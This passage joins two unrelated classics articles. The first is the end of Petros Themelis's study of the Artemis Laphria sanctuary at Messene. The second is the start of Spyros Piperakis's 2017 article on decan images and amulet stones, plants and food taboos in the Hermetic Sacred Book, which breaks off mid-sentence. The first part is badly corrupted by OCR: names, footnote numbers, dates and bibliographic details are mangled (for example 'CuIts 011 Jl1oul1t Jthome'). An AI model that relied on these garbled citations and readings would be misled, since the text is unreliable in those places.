1929, p. 62-64 argues that the Attemis Laphria c1epicted on the coins of Patras was not the original statue of the gocldess brought in from Kalyclon but a later, probably Hellenistic version. CuIts 011 Jl1oul1t Jthome 153 the exile brought with them not only the portable cult image of Zeus but introduced also the cult of Laphria to their new home (Paus., IV, 31, 7).62 A sanctualY excavated by Philippe Le Bas in 1843 and considered as lost was rediscovered in 1988. It is located on the SE slope of mount Ithome, at a place called "Spelouza", close to an ancient water spring. 63 The landscape, mountain plateau and water spring, is similar to the Aetolian landscape in whieh the Laphrion at Kalydon was located. The discovelY of two inscriptions (only one found in the area of the sanctuary itself) led Le Bas to the identification of the sanctuary with that of Artemis Limnatis and Laphria.6i Pausanias does not mention the epigraphieally attested eponym of Limnatis, but only that of Laphria Artemis, adding that her cult statue was a work of Damophon (IV, 31, 7). Omitting one of the eponyms of the goddess is a practice not quite unusual for Pausanias, also the exclusively as Orthia attested Artemis worshipped in Cult Room K of the Asklepieion is only called Phosphoros by him.6s The temple excavated by Le Bas has the form of a distylos in antis, meas- uring 16.70 x 10.60 m, and combining ionie with Corinthian architectural traits, the workmanship and profiles of whieh allow a date to the end of the 3'" centUlY Re. The limestone base of the cult statue is still preserved in situ inside the rectangular, 8 x 9 m, cella. It should have supported a life-size cult statue, as its dimensions, 1.30 x 1.13 m with a height of 0.95 m, indieate. The altar and remains of three more buildings (portieos?) have been revealed on the east and south sides of the precinct. As Hans Lauter points out, the closed pronaos of the temple fonl1s an architectural preludium, an introduction to the main point of interest, i.e. the cult statue centrally placed inside the cella.66 Similar ideas of space organisation and of the dialectie relation between architecture and sculpture prevail in the contemporalY sanctuary of the Asklepieion where Damophon mainly worked. 67 The statue of Laphria was made by the same Messenian sculptor as we mentioned above. 62 W. OT1'O, De sacris Messeniol'llm, Halle, 1933, p. 46; C.A. ROEBUCK, A HistolY ofl11essenia ji'Om 369 to 146B.C., Chicago, 1941, p. 34. 63 ph. LE BAS, RA 1 (1844), p. 422-425; id., "Temple de Diane Laphria à l'vlessène", in S. REIN- ACH, Voyage archéologique en Grèce et en Asie Mineure sous la direclioll de M. Philippe Le Bas membre de l'Institut (1842-1844), Paris, 1888, p. 134-138, pl. 1.7; THEMELlS, Prakt (1988), p. 72, fig. 15, pl. 57a-b; E.r.. BRlILOITE, T7Je Placement of Votive Qlferings and Dedications in the Peloponnesian Sallctuaries ofArtmis (Diss.), Minnesota, 1994, p. 253-255. 61 A. WILHELM, "Inschriften aus l'vlessene", MDAI(A) 16 (1891), p. 351, mentions fragments of a colossal statue which have not been found up to now either at the site or in the storerooms of the local Museum; çl DAMASKOS (supra n. 60), p. 43-44. 65 THEMELIS (supra n. 35), p. 101-122. 66 H. LAUTER, Die Architektur des Hellenismus, Darmstadt, 1986, p. 195. 67 P. THEMELIS, "Damophon von l'vIessene. Sein \V'erk im Lichte der neuen Ausgrabungen", AntI( 36 (1993), p. 24-40; id., "Damophon of lvIessene. New Evidence", in K. SHEEDY (ed.), Archaeolog)l in the Peloponnese. New E\'cavalions alld Research, Oxford, 1994, p. 1-37; id., "Damophon", in O. PALAGIA, J.J. POUIIT (eds.), Personal Styles in Greek Sculpture, Oxford, 1996, p. 154-187. 154 P. THE/vIRUS The sanctuary was used by the city officiaIs, the ephoroi, to publish acts of manumitio, liberation of slaves, especiaIly females, as several inscriptions of this kind dated to the 3,,1 centUlY B.e. indicate.6" This can be taken as additional evidence of the importance the sanctuaty had for the city of Messene. IvIanumitions were also taken place in the great Aetolian sanctuaty of Artemis Laphria at Kalydon. 69 AlI aspects and characteristics of the primitive Aetolian cult of Laphria ingeniously analysed by scholars, such as protection of the wild animaIs and plants, of marriage, pregnancy and initiation rites, as weIl as the holocausts, reveal a potnia dominating over the forces of fertility and fecundity in the wodd of men, animais and plants. 7o The most appropriate place of worshiping this goddess at Messene would be the natural environ- ment of the forested mount Ithome, inside the waIls but outside the inhabited area of the city, and in the vicinity of the sanctuaty of Eileithyia and the Kouretes. Petros THEMELIS Centre of Messenian Archaeological Studies Psaromiligou StI'. 33 GR - 105 53 ATHENS ptIJemelis@lJotlllail.col11 lG VI, 1470, 1471 and 1472. Ci9 IG IX, 12 , 1, 137; ANTONETI1 (supra n. 39), p. 265. 70 DYGGVE _ POULSEN (supra n. 60), p. 161-163, 238, 352-335; ANTONETTI (supra n. 39), p. 253-257; ci NILSSON (sUjJra n. 59), p. 144-148; PICCALUGA (supra n. 59), p. 243-277. Decanal Iconography and Natural Materials in the Sacred Book of Hermes to Asclepius Spyros Piperakis I N HIS POLEMICAL WORK against Christianity, written in 178, the Greek philosopher Celsus (in Origen C.Cels. 8.58) wrote that according to the Egyptians every part of the human body has been put under the charge of 36 daemons or heavenly gods, whose names are invoked in times of sickness in order to treat the sufferings of their subordinate parts. Celsus assuredly is referring to the decans (Gk. δεκανός). In Egyptian astronomy the decans were single stars or clusters of stars which were used to mark the hours of the night and divide the 360-day Egyptian year into ten-day intervals, with the ex- clusion of the five epagomenal days.1 During the Ptolemaic period the 36 decans were assimilated into Hellenistic astro- logical doctrines and were assigned by threes to the twelve 1 On the decans of later times see the seminal work of O. Neugebauer and R. A. Parker, Egyptian Astronomical Texts III Decans, Planets, Constellations and Zodiacs (Providence/London 1969) (hereafter EAT ); and L. Kákosy, “Decans in Late-Egyptian Religion,” Oikumene 3 (1982) 163–191. On the decans and their reception see W. Gundel, Dekane und Dekansternbilder. Ein Beitrag zur Geschichte der Sternbilder der Kulturvölker2 (Darmstadt 1969). On the Egyptian decanal tradition in Gnosticism see J. F. Quack, “Dekane und Gliedervergottung. Altägyptische Traditionen im Apokryphon Johannis,” JbAC 38 (1995) 97–122. The work of J. F. Quack, Beiträge zu den ägyptischen Dekanen und ihrer Rezeption in der griechisch-römischen Welt (diss. Freie Univ. Berlin 2002), dealing with the reception of decans in the Graeco-Roman era, is in preparation for publication. I would like to thank Dr. Quack, who kindly sent me a section of his unpublished work (all citations are from the section at my disposal). ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 2017 Spyros Piperakis SPYROS PIPERAKIS 137 zodiacal signs2 and individually to the seven planets (decanal “faces”).3 However, as Celsus indicates, these stars stood for something more than a time-measurement system and imper- sonal astronomical elements. They were personalized entities with names, physical features, and healing or, conversely, malevolent powers over their dominions, which had to be sum- moned or else averted, often by means of amulets.4 This worldview is essential to the Sacred Book of Hermes to Asclepius, a ritual manual on the making of finger-ring amulets, written in Greek most probably in early Roman Egypt.5 Its 2 Each zodiacal sign of 30° length was further divided into three equal segments of 10°, the decans—whence the name δεκανός, from the numeral δέκα, “ten.” 3 The system of “faces” assigns each planet to a decan, according to the “Chaldean” order of the planets, on which it exerts its power and ‘charac- ter’. See A. Bouché-Leclercq, L’astrologie grecque (Paris 1899) 224–229; Gun- del, Dekane 30–36, 248–256; O. Neugebauer and H. B. van Hoesen, Greek Horoscopes (Philadelphia 1959) 11. 4 On the application of decans to healing practices see Gundel, Dekane 262–287; A.-J. Festugière, La révélation d’Hermès Trismégiste I L’astrologie et les sciences occultes (Paris 1944) 127–129, 139–143; J.-H. Abry, “Les tablettes de Grand: mode d’emploi à travers les écrits des astrologues,” in Les tablettes astrologiques de Grand (Vosges) et l’astrologie en Gaule romaine (Lyon/Paris 1993) 141–160, at 152–155; G. Adamson, “Astrological Medicine in Gnostic Traditions,” in A. D. DeConick et al. (eds.), Practicing Gnosis. Ritual, Magic, Theurgy and Liturgy in Nag Hammadi, Manichaean and Other Ancient Literature. Essays in Honor of Birger A. Pearson (Leiden/Boston 2013) 333–358. 5 The Byzantine manuscripts that preserve the tract have been published by J. B. Pitra, Analecta sacra et classica spicilegio Solesmensi parata V.2 (Paris/ Rome 1888) 284–290, and by C.-E. Ruelle, “Hermès Trismégiste, Le livre sacré sur les décans,” RPhil 32 (1908) 247–277 (with French translation). See further A. Rigo, “From Constantinople to the Library of Venice: The Her- metic Books of Late Byzantine Doctors, Astrologers and Magicians,” in C. Gilly and C. van Heertum (eds.), Magic, Alchemy and Science 15th–18th Cen- turies. The Influence of Hermes Trismegistus I (Florence 2002) 77–84, at 79–81. In addition to the Byzantine manuscripts, there is the papyrus fragment PSI inv. 1702, dated to the fourth century, that is very similar to a passage of the Sacred Book: I. Andorlini, “Un anonimo del genere degli Iatromathematikà,” in A. Garzya and J. Jouanna (eds.), Trasmissione e ecdotica dei testi medici greci ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 138 DECANAL ICONOGRAPHY AND NATURAL MATERIALS short introduction, ascribed to Hermes Trismegistus and addressed to Asclepius, expounds the doctrine of the zodiacal melothesia, the systematic attribution of parts of the body, from head to feet, to the twelve zodiacal signs. Then 36 entries on decans follow, arranged in the order of the zodiac, starting with the first decan in Aries and ending with the third in Pisces. Each entry displays the Egyptian name and iconography of a decan, its assigned disease or body part, depending on the zodiacal sign to which it belongs—in concordance with the zodiacal melothesia, its proper stone and plant, in a few cases a metal,6 and a dietary taboo. Wishing to thwart a particular disease, the aspiring practitioner had to search in the list for its corresponding decan. After that, he had to engrave the decan’s name and especially its image7 on the astrally related stone and to place the decan’s plant beneath the stone, setting them both in a ring (in a handful of cases made of a specific metal). Finally, a special type of food was to be avoided as a substantial prerequisite for the successful application of the ring. To the extent that the sufferings are caused by the zodiacal signs with respect to their melothesia rather than the decans themselves, the whole work is structured upon the concept of homeopathy. The amuletic materials—stones, metals, and plants—are connected to the decans through the bonds of sympatheia, while the dietary taboos are through those of antipatheia, although both are employed to attenuate the signs’ malicious effects. The selection of a specific set of objects of the physical world to be allotted to each decan is based upon several astrological ___ (Naples 2003) 7–23. German translation in Gundel, Dekane 374–379; further discussions in Gundel 270–273; Festugière, La révélation I 139–143; Adam- son, in Practicing Gnosis 338–342, 350. In his forthcoming Beiträge Quack studies the text extensively. 6 In most of the cases, the selection of metals is up to the practitioner. 7 As noted by Festugière (La révélation I 141 n.4), the original text of the Sacred Book most probably included figural representations of the decans. See further Quack, Beiträge, section 2.4.2. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 SPYROS PIPERAKIS 139 and conceptual schemes.8 Discussion of these falls outside the scope of this study: what is of interest here is another scheme embedded in the author’s mental map that has received little attention. In several cases, the decanal images generate systems of signs that are in analogy with their corresponding materials.9 The aim of this article is to reconstruct the underlying logic and to shed light on its textual/ritual dynamics. The first decan to be discussed is the first in Gemini. It is described as an ass-faced man with a knee-length garment, wielding a small key in his right hand, while his left hand is hanging down. This decan is likewise portrayed as a man with the head of ass in three other documents that preserve the names and images of decans: the first chapter of the Liber Hermetis Trismegisti (1.10)10 and the two ivory diptychs from Grand.11 In Egyptian tradition the ass was one of the Sethian 8 On some examples of the logic see Bouché-Leclercq, L’astrologie 316– 317 n.5; Gundel, Dekane 272. 9 On the iconography of the decans in various traditions see Gundel, Dekane 82–225; D. Pingree, “The Indian Iconography of the Decans and Horâs,” JWarb 26 (1963) 223–254; J.-H. Abry, “Les diptyques de Grand, noms et images des décans,” in Les tablettes 77–112; Quack, Beiträge, section 2.4.2. See also the study of A. von Lieven, “Die dritte Reihe der Dekane, oder Tradition und Innovation in der spätägyptischen Religion,” ARG 2 (2000) 21–36. 10 The chapter sets out the decanal “faces,” the names and forms of the decans, the geographical regions that these stars rule, and in many cases their corresponding organs or diseases. The whole work is a fourth- or fifth- century Latin translation of an earlier Greek text. On the first chapter consult the editions of W. Gundel, Neue astrologische Texte des Hermes Tris- megistos (Munich 1936) 19–23 (text), 115–123 (comm.), and S. Feraboli, Hermetis Trismegisti De triginta sex decanis (Turnhout 1994) 3–11. 11 The diptychs are dated to the second century CE and were discovered in 1967 at Grand in France, near the Gallo-Roman sanctuary of Apollo Grannus. In the center of the tables are busts of Helios and Selene and around them are four concentric rings bearing, from the center outwards, the twelve zodiacal signs, the termini (five-part subdivisions of each sign), the figures of the decans, and their Egyptian names in Greek. On the decans in the Grand tables see Abry, in Les tablettes 77–112, esp. 90. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 140 DECANAL ICONOGRAPHY AND NATURAL MATERIALS animals and during the later period Seth was frequently en- visaged in the form of an ass or with the head of an ass.12 Apparently, the figure under consideration is a representation of the Egyptian god Seth. However, in contrast to the Sacred Book, the decan in the Liber Hermetis Trismegisti carries a sword and in the A tablet from Grand a dagger or knife (in B only the head and upper torso are preserved). There is also fr.1 of the Kharga glass disk depicting a decan holding a dagger in the right hand.13 Hence, Joachim Quack has argued for identifying these as the Egyptian daemons named “arrows” (šsrw), several of which are related to Seth and depicted with a knife in hand.14 In order to make the astral amulet, the practitioner is instructed to carve the ass-headed figure upon adamant (ἀδάµας). The mental mechanics lurking behind this link can be reconstructed on the basis of a synthetic argument. First, in Graeco-Roman times the ass and by extension Seth were related to Kronos and his planet Saturn.15 Second, as Alphonse Barb has stressed, adamant can be identified mineralogically 12 See H. te Velde, Seth, God of Confusion. A Study of his Role in Egyptian Mythology and Religion (Leiden 1967) 13–15. 13 The glass disk from the Kharga Oasis is dated to the third/fourth cen- tury. Although very fragmentary, it preserves the figures of several decans on its outer ring. See M.-D. Nenna, “De Douch (oasis de Kharga) à Grand (Vosges). Un disque en verre peint à représentations astrologiques,” BIFAO 103 (2003) 355–376, esp. 356, 370. 14 Quack, Beiträge, section 2.4.2. Cf. two gems engraved with the image of Seth in armor holding a sword/dagger: BM inv. G 556, EA 48954, J. G. Griffiths and A. A. Barb, “Seth or Anubis?” JWarb 22 (1959) 367–371, pl. 38a = S. Michel, Die magischen Gemmen im Britischen Museum (London 2001) no. 381; Oxford, Ashmolean Museum inv. 1872.562, M. Henig and A. MacGregor, Catalogue of the Engraved Gems and Finger-Rings in the Ashmolean Museum II (Oxford 2004) no. 13.8. 15 See A. Pérez Jiménez, “Fundamentos religiosos y mitológicos de la atri- bución de plantas, metales, piedras y animales a los cinco dioses planetarios,” in S. Montero and M. C. Cardete (eds.), Naturaleza y religión en el mundo clásico. Usos y abusos del medio natural (Madrid 2010) 213–232, at 217– 219. See also Bouché-Leclercq, L’astrologie 318, 483–484 n.3. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 SPYROS PIPERAKIS 141 with hematite (iron oxide), which is linked to Saturn via their common elemental qualities.16 Two astrological texts, though of later date, evince this intrinsic bond between Saturn and adamant.17 However, another possible hypothesis for this affinity could be the stone’s particular semantics in referring to the mythological connotations of Kronos as a god in the Underworld.18 Pliny gives for adamant the synonym anancitis, “stone of necessity,” while, citing from the ‘Persian’ Magi, he refers to anancitis’ use in hydromancy for summoning divine apparitions.19 Hydromancy, more commonly known as bowl divination, was a ritual practice sometimes associated with necromancy and the invocation of the dead;20 thus in an astrological text, Scorial.gr. Ω IV.22 (CCAG XI.2 119.25–26), the stone is cited as useful for necromancy. In the lapidary of Damigeron and Evax (3.5, 3.7 [238, 239 H.-S.]) it is remarked that adamant is identical to ἀναγκῖτις and drives away every fear, the visions of obscure dreams, and the images of ghosts, phenomena intrinsically connected with the Underworld.21 What is more, the stone occurs once again in the tract under the name ἀναγκίτης and corresponds to the third section of 16 A. A. Barb, “Lapis adamas – Der Blutstein,” in J. Bibauw (ed.), Hommages à Marcel Renard I (Brussels 1969) 66–82; R. Halleux and J. Schamp, Les lapi- daires grecs (Paris 1985) 334 n.3. On hematite, Saturn, and Kronos see Barb 78 n.4, 80–81 n.3, 81; S. Michel, Die magischen Gemmen. Zu Bildern und Zauber- formeln auf geschnittenen Steinen der Antike und Neuzeit (Berlin 2004) 154 n.800, 175–177. ἀδάµας was a generic term used for several minerals charac- terized by their hardness. 17 Codex Scorial.gr. Ω IV.22, CCAG XI.2 119.12; Liber de astronomiae disci- plinae peritia, CCAG XII 228.24. The latter is the Latin translation by Gerard of Cremona of the now-lost Arabic astronomical work of the eleventh- century Georg of Antioch. 18 Hom. Il. 8.478–481, 14.203–204, 274, 15.225. 19 HN 37.61, 192; see also Isid. Etym. 16.15.22. 20 See D. Ogden, Greek and Roman Necromancy (Princeton 2001) xxviii, 53– 54, 70, 131, 191–194. 21 Cf. codex Scorial.gr. Ω IV.22, CCAG XI.2 119.26, 28–29, and the texts cited in Halleux and Schamp, Les lapidaires 239 n.1. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 142 DECANAL ICONOGRAPHY AND NATURAL MATERIALS Capricorn—a link that is based on the astrological doctrine that Capricorn is the “house” of Saturn.22 In conclusion, one may presume that the semantic contours of adamant as a stone rendering aspects of the asinine Kronos/Saturn led to its affinity with a decan depicting the ass-headed Seth. Adamant is set in a ring along with the plant ὄρχις (of the family of orchids). In antiquity various plant species were called by this name, and so a specific identification is impossible. The plant was generally considered to have aphrodisiac or anaphro- disiac properties, owing to its double and round tubers that evoke the male reproductive organs, whence its name, meaning “testicle.”23 Its erotic physiognomy is in concordance with the connotations of Seth as the god of unrestrained sexuality. This is implied, for example, in the mythic theme of the conflict of Horus and Seth and particularly in the episode of the injury of Horus’ eye and Seth’s testicles.24 The god’s sexuality is com- patible with the Egyptian belief that the ass is an animal char- acterized by lustfulness. We can see this at work in magical texts where the Ass, as a daemonic being, threatens his victims 22 Ancient astrology viewed each planet as exercising dominion over two zodiacal signs, one diurnal and one nocturnal, that were called “houses,” with the exception of the two luminaries that had only one house each. See Bouché-Leclercq, L’astrologie 182–192; Neugebauer and van Hoesen, Greek Horoscopes 7; R. Beck, A Brief History of Ancient Astrology (Malden 2007) 85–86. 23 ὄρχις/κυνὸς ὄρχις: Theophr. Hist.pl. 9.18.3; Diosc. Mat.med. 3.126 (II 136–137 Wellmann); Plin. HN 27.65, cf. 26.96; Gal. Simpl.med. 8.15.17 (XII 92 Kühn); Isid. Etym. 17.9.43; ὄρχις σεραπιάς: Diosc. 3.127 (II 137–138 W.); Plin. 26.95; Gal. 8.15.18 (XII 93 K.). Moreover, in the alphabetical recension of Dioscorides (3.128 RV [II 138 W.]) ὄρχις Σατύρου (“satyr’s testicle”; cf. Plin. 26.96 satyrios orchis) and τεστίκουλουµ λέπορις (testiculus leporis, “hare’s testicle”) are synonyms of σατύριον, given its erotic prop- erties. These virtues are also indicated by the name σατύριον itself referring to the Satyrs, the ithyphallic deities of classical myth (Isid. 17.9.43). Cf. the plant priapiscus in Ps.-Apul. Herb. 15 (49–50 Howald and Sigerist). On the plant species see J. André, Les noms de plantes dans la Rome antique (Paris 1985) s.vv. orchis, cynosorchis, orchis satyrios; G. Ducourthial, Flore magique et astrologique de l’Antiquité (Paris 2003) 523 n.46, 524 n.49, 554 n.230. 24 See te Velde, Seth 32–59. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 SPYROS PIPERAKIS 143 with sexual abuse.25 And the relation between ass and sexuality is not exclusively Egyptian but also a part of the Greek cultural field, found as early as the time of Archilochus (fr.43 West). Thus, the plant’s value, charged with a particular meaning, directed the author to associate it with a decan in the form of Seth. Three decans on we come to the first in Cancer. It is called Σωθείρ and is described as a dog-faced coiled serpent seated on a pedestal. The name is a variation of Σωθις (Sothis), the Greek rendition of the Egyptian name of Sirius, the decan Sopdet (Spd.t).26 Its serpentine body visualizes the 70-day period of Sothis’ invisibility in the Egyptian sky,27 while its canine head draws on Greek tradition.28 Such synthesis of Egyptian and Greek astronomy is also found in the form of the very same decan in the Liber Hermetis Trismegisti (1.13) and the tablets from Grand.29 Our concern here is that Sothis had been connected 25 E.g. J. F. Borghouts, Ancient Egyptian Magical Texts (Leiden 1978) 16 (§18), cf. 38 (§59). See Griffiths and Barb, JWarb 22 (1959) 367–371; te Velde, Seth 56; Michel, Die magischen Gemmen 180–184. 26 See Neugebauer and Parker, EAT 164, no. 68. Sothis was the most im- portant decan in Egyptian astronomy because its heliacal rising ca. 19 July, in Cancer, marked the annual rising of the Nile and the beginning of the Egyptian year. The decan occupies the first section in Cancer in other Greek and Latin decanal name-lists as well; see the table in Gundel, Dekane 77–79. 27 See Quack, Beiträge, section 2.4.2. 28 In Homer (Il. 22.29) Sirius is seen as Orion’s dog. Later, ancient writers placed Sirius upon the tip of the jaw, the head, or the tongue of the con- stellation of the Dog (αCMa): Aratus Phaen. 329–332; Eratosth. Cat. 33; Hyg. Poet.astr. 2.35, 3.34. 29 Abry, in Les tablettes 92. Von Lieven (ARG 2 [2000] 31) argues that two jackal-headed figures, the first with the tail of a snake instead of legs while the other is completely in snake-form, as found on two gems, are represen- tations of the first decan in Cancer: Berlin, Staatliche Museen inv. 9925 and 9870, H. Philipp, Mira et Magica. Gemmen im Ägyptischen Museum der Staatlichen Museen (Mainz 1986) nos. 172–173. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 144 DECANAL ICONOGRAPHY AND NATURAL MATERIALS with Isis already in the Pyramid Texts,30 an association that be- comes explicitly evident during the Roman period.31 After the preparation of the amulet, the interested party has to abstain from eating the stomach of white sow (χοῖρος λευκή).32 The decan’s semantic patterns and most importantly its name impelled the author to select this particular animal, since in the Egyptian cultural field Isis was sometimes ad- dressed as “white sow.”33 This is first attested in line 86 of the Metternich Stela (360–343 BCE), in which Min-Horus is addressed as the son of the white sow (tȝ šȝỉ.t ḥḏ.t) that is in Heliopolis.34 Again, a Greek love spell of the fourth century in- vokes the mighty god who was borne by a white sow (λευκὴ χοιράς) (PGM XXXVI.106–107). Presumably, this god is to be identified with Min-Horus35 and the white sow with his mother 30 See R. Krauss, Astronomische Konzepte und Jenseitsvorstellungen in den Pyra- midentexten (Wiesbaden 1997) 173–180. 31 See G. Clerc, “Isis-Sothis dans le monde romain,” in M. B. de Boer and T. A. Edridge (eds.), Hommages à Maarten J. Vermaseren I (Leiden 1978) 247–281; C. Desroches-Noblecourt, “Isis Sothis – le chien, la vigne –, et la tradition millénaire,” in J. Vercoutter (ed.), Livre du centenaire 1880–1980 (Cairo 1980) 15–24; V. Tran tam Tinh, “Isis,” LIMC V (1990) 761–796, at 787 (nos. 320–331), 795 (comm.); G. Tallet, “Isis, the Crocodiles and the Mysteries of the Nile Floods: Interpreting a Scene from Roman Egypt Exhibited in the Egyptian Museum in Cairo,” in A. Mastrocinque and C. Giuffrè Scibona (eds.), Demeter, Isis, Vesta, and Cybele. Studies in Greek and Roman Religion in Honour of Giulia Sfameni Gasparro (Stuttgart 2012) 139–163, at 151– 155. See also the amulets inscribed with the name Sothis in Michel, Die magischen Gemmen 45 n.206. 32 Although the animal as dietary taboo is theoretically in antipatheia with the decan, here (and in the next case as well) it appears to be in sympatheia with the represented astral divinity. 33 See J. Bergman, “Isis auf der Sau,” in S. Brunnsåker and H.-A. Nordström (eds.), From the Gustavianum Collections in Uppsala, 1974. To Torgny Säve-Söderbergh on his 60th Birthday (Uppsala 1974) 81–109, at 91–92. 34 Borghouts, Magical Texts 71 (§95). 35 A different view has been put forward by J. G. Griffiths, “P. Oslo. 1, 105–9 and Metternich Stela, 85–6,” JEA 25 (1939) 101, who holds that “the son of the white sow” is not Min-Horus but Seth. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 SPYROS PIPERAKIS 145 Isis. The white sow is encountered once more in the list of the prohibited substances; for its liver is a dietary taboo for the efficacious amuletic use of the first decan in Virgo. The decan is described as a coiled snake surmounted by a basileion and standing on a pedestal, in the form of Thermouthis.36 Ther- mouthis or Hermouthis is the Greek rendering of the Demotic name of Renenutet (T-Rmwte), the cobra-goddess of fertility of the harvest and of divine motherhood. Renenutet displayed many similarities to Isis and accordingly the two goddesses were associated with each other and finally, from the late Ptolemaic period on, were merged.37 This is indicated in the first century BCE hymns of Isidorus from the temple of Renenutet at Narmouthis38 and by numerous archaeological objects representing Isis-uraeus.39 36 Most of the manuscripts of the Sacred Book describe the decan as dog- faced and with a hot and fiery body. However, this description is a corrup- tion of the original text due to misinterpretations and mistakes made by the Byzantine copyists. For the correction see Quack, Beiträge, section 2.4.2. 37 See J. Broekhuis, De godin Renenwetet (Assen 1971), esp. 105–109. 38 Bernand, I.métr.Egypte 175; Broekhuis, De godin Renenwetet 110–137; V. F. Vanderlip, The Four Greek Hymns of Isidorus and the Cult of Isis (Toronto 1972). On the hymns see now I. S. Moyer, “Isidorus at the Gates of the Temple,” in I. Rutherford (ed.), Greco-Egyptian Interactions. Literature, Transla- tion, and Culture, 500 BCE–300 CE (Oxford 2016) 209–244. 39 F. Dunand, “Les représentations de l’Agathodémon à propos de quelques bas-reliefs du Musée d’Alexandrie,” BIFAO 67 (1969) 9–48; G. Deschênes, “Isis Thermouthis: à propos d’une statuette dans la collection du professeur M. J. Vermaseren,” in Hommages à Maarten J. Vermaseren I 305– 315; F. Dunand, Catalogue des terres cuites gréco-romaines d’Egypte (Paris 1990) nos. 385–395; Tran tam Tinh, LIMC V (1990) 771 (no. 135), 777 (no. 212), 778 (no. 229), 779 (nos. 242–243), 788–789 (nos. 332–364), 791 and 794 (comm.). On Isis-Thermouthis in the form of a cobra with atef crown see Kelsey Museum inv. 1963.04.0005, C. Bonner, Studies in Magical Amulets (Ann Arbor 1950) D.23. As a human-headed serpent surmounted by a crown and standing on an hourglass-shaped base, the goddess appears in Berlin Staatliche Museen inv. 9828, Philipp, Mira et Magica no. 74. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 146 DECANAL ICONOGRAPHY AND NATURAL MATERIALS Isis-Thermouthis was assimilated to Demeter,40 and so the goddess rules over a segment of the constellation of Virgo. Ancient astronomers represented Virgo as a winged woman holding an ear of grain, which refers to the constellation’s brightest star, Spica (αVir).41 As ears of grain were the symbol of Demeter and later of her Egyptian equivalent Isis, Virgo was equated with either Demeter or Isis.42 By way of analogy, the first decan of the sign soon was drawn into this equation. The first century BCE astrologer Teucer of Babylon (in Rhetorius, CCAG VII 202.21–23) remarks that with the first decan of Virgo rises the paranatellon,43 “a goddess seated on a throne and feeding a young child,” which is construed by Teucer as Isis feeding Horus in the entrance to a temple.44 In sum, the decan’s stylization as Isis-Thermouthis, the goddess of fertility and motherhood, is in agreement with the ancient astro- nomical ‘encyclopedia’ and in analogy with the white sow, an animal that occasionally stood for Isis in Egyptian tradition. In order to find another god as popular as Isis, one has to come to the second decan in Pisces. The decan is pictured as a naked man crowned with a basileion and wearing a wrap 40 Isidorus hymns 1.3, 3.2, 4.4. The assimilation of Isis with Demeter had already occurred by the time of Herodotus, 2.59, 156. 41 Aratus Phaen. 97; Eratosth. Cat. 9; Hyg. Poet.astr. 3.24. 42 Eratosth. Cat. 9; Hyg. Poet.astr. 2.25; Manil. 2.442. 43 In astrology this signified a constellation that was co-rising within certain degrees of a zodiacal sign or with a decan. On the Egyptian back- ground of paranatellonta see J. F. Quack, “Frühe ägyptische Vorläufer der Paranatellonta?” Sudhoffs Archiv 83 (1999) 212–223. 44 Cf. Kamateros Eisag. 789–791 (28 Weigl). In two manuscripts pre- serving the second version of Teucer’s text this constellation is addressed as “the seated Eileithyia embracing a child” and as “the feeder with children.” The astrologer Antiochus (1st/2nd cent.) calls it “a woman carrying a young child”: F. Boll, Sphaera. Neue griechische Texte und Untersuchungen zur Geschichte der Sternbilder (Leipzig 1903) 47.25–27, 47.19–20, 58.9–10. This tradition with adaptations is found in the work of Abū Ma‛šhar (Great Introduction 6.1: Greek version CCAG V.1 162.28–163.3 ~ Arabic with German transl. Dyroff in Boll 512–513). On this constellation see Boll 210–216. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 SPYROS PIPERAKIS 147 thrown over his shoulders, while he holds a small water-vessel in his right hand and brings his left index finger to his mouth. In the tablets from Grand and fr.4 of the Kharga disk a figure bringing his hand to his mouth corresponds to the third decan in Pisces.45 The Grand tablets, like the Sacred Book, show the figure naked, except for a mantle. All represent the god Har- pocrates, usually depicted as a naked child rather than as an adult. His Egyptian name, Ḥr-pȝ-ẖrd, means Horus-the-Child; for he is the juvenile form of Horus and the incarnation of the young (morning) sun.46 Horus-Harpocrates takes over the plant λιβανωτίς (rosemary frankincense?), a phytonym given to various aromatic plant species with the scent of λίβανος.47 λίβανος designated the frankincense-tree (Boswellia carterii), as well as its resin, frankincense, a highly valued substance initially imported to the Mediterranean world through the eastern trade routes. Frankincense was used not only for the making of medicines, ointments, and perfumes but especially as a sacrificial offering to the gods.48 In addition, λιβανωτίς has the meaning of the 45 Abry, in Les tablettes 83–84, 108–109; Nenna, BIFAO 103 (2003) 358, 370–371. 46 On his iconography see S. Sandri, Har-pa-chered (Harpokrates). Die Genese eines ägyptischen Götterkindes (Dudley 2006) 97–128; V. Tran tam Tinh, B. Jaeger, and S. Poulin, “Harpokrates,” LIMC IV (1988) 415–445; Dunand, Catalogue nos. 107–324. On gems engraved with the naked Harpocrates sur- mounted by a crown, wearing or holding his mantle, see Paris, Collection Blanchet 68, A. Delatte and P. Derchain, Les intailles magiques gréco-égyptiennes (Paris 1964) no. 162 = A. Mastrocinque, Les intailles magiques du Département des Monnaies, Médailles et Antiques (Paris 2014) no. 39; Berlin, Staatliche Museen inv. 9818, 9766, 4929, 9769, Philipp, Mira et Magica nos. 76–77, 89–90. Add Pliny HN 33.41, who states that there was in his day a fashion of wearing the image of Harpocrates on fingers. 47 See the taxonomies in Theophr. Hist.pl. 9.11.10–11; Diosc. Mat.med. 3.74–75 (II 85–88 W.); Plin. HN 24.99–101; Gal. Simpl.med. 7.11.14 (XII 60–61 K.). See André, Les noms s.v. libanōtis. 48 On the use of incenses, including frankincense, see M. Detienne, The Gardens of Adonis. Spices in Greek Mythology (Princeton 1994), esp. 5–36; C. Zac- cagnino, Il thymiaterion nel mondo greco. Analisi delle fonti, tipologia, impieghi (Rome ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 148 DECANAL ICONOGRAPHY AND NATURAL MATERIALS brazier in which frankincense seeds were placed and burnt during ritual practices.49 Hence, behind the selection of a plant whose name signifies both frankincense and ritual parapher- nalia lies the representation of the decan as Harpocrates, one of the most popular gods of Graeco-Roman Egypt. His terra- cotta figurines that stood in numerous households of Ptolemaic and Roman Egypt suggest the relocation of civic rituals to domestic 